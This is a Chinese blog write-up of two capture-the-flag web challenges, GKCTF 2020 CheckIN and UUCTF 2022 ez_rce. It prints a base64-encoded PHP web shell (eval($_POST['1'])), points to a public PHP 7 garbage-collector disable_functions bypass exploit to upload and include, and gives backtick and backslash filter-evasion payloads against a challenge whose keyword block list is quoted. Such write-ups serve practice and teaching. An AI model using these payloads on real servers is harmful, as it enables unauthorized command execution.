NSSCTF[GKCTF 2020]CheckIN+[UUCTF 2022 新生赛]ez_rce
https://www.ctfer.vip/problem/1301
困,书买好了,等着去图书馆找个位置一坐了。

[GKCTF 2020]CheckIN
hint:WEB disable_function
评分:4⭐
四星一般不是学新知识就是难度高,已经准备好学习别人wp了。

乍一看很简单,一个base编码后传入命令执行语句就行了,但是根据hint的disable_function来看没那么简单,于是直接phpinfo看看禁用了什么:
?Ginkgo=cGhwaW5mbygpOw== 这里get传参post传参一样的。

亚雷吗,我们以前遇到过一个比较严重的disable_function,根据当时经验首先想到传入一句话木马,然后在蚁剑上利用蚁剑插件:
传入?Ginkgo=ZXZhbCgkX1BPU1RbJzEnXSk7 即eval($_POST['1']);
在根目录看到flag文件,然后看到readflag文件,执行,果然不行。


失败,看来是有其他漏洞或者exp了。
于是查看wp,发现readflag的权限不够,得上传exp到tmp(tmp的权限是777)其他目录文件权限不知道,不过好像都权限不够
PHP版本7.3.18漏洞:
php7-gc-bypass漏洞利用PHP garbage collector程序中的堆溢出触发进而执行命令,影响范围为linux,php7.0-7.3
https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
修改命令,上传tmp,然后访问文件。

include('/tmp/p.php'); 名字随便取啦,蚁剑里也可以改的


[UUCTF 2022 新生赛]ez_rce
hint:WEB 无参数RCE
<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
$code=$_GET['code'];
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
eval($code);
}
else{
die("你想干什么?????????");
}
}
else{
echo "居然都不输入参数,可恶!!!!!!!!!";
show_source(__FILE__);
}
很经典的rce题目,过滤了很多函数和命令,这个时候如果你经验老道就看的出来某些函数符号还能用,比如反引号``,比如printf,current的替代函数pos,scandir这些当然这里过滤了local等函数我们还是用熟悉的printf吧,当然如果补是很熟,这个你也能自己试着搜一下rce加上无参数,当然我们之前遇到过无参数rce,并且简单总结过几次,这里还是放上别人专门写的总结:
https://blog.csdn.net/m0_62422842/article/details/124669856
https://www.cnblogs.com/pursue-security/p/15406272.html#_label1_4
当然这里printf作为输出,反引号作为执行,我们只需要关系里面的命令执行语句了,ls,cat都被禁用了没关系,\没被禁用,不知道你们还能想起来l\s来规避禁用的操作吗,这里就回顾一下这个知识点吧:
?code=printf(`l\s`);

然后直接读flag:printf(`nl /fffffffffflagafag`);当然如果这里printf都禁了用print_r也行,当然一般都直接禁print的= =

当然还遇到了很多以前写过wp的题,这里因为我想起来以前写过就不专门写出来水文字了,
那么期待我们下一题再见!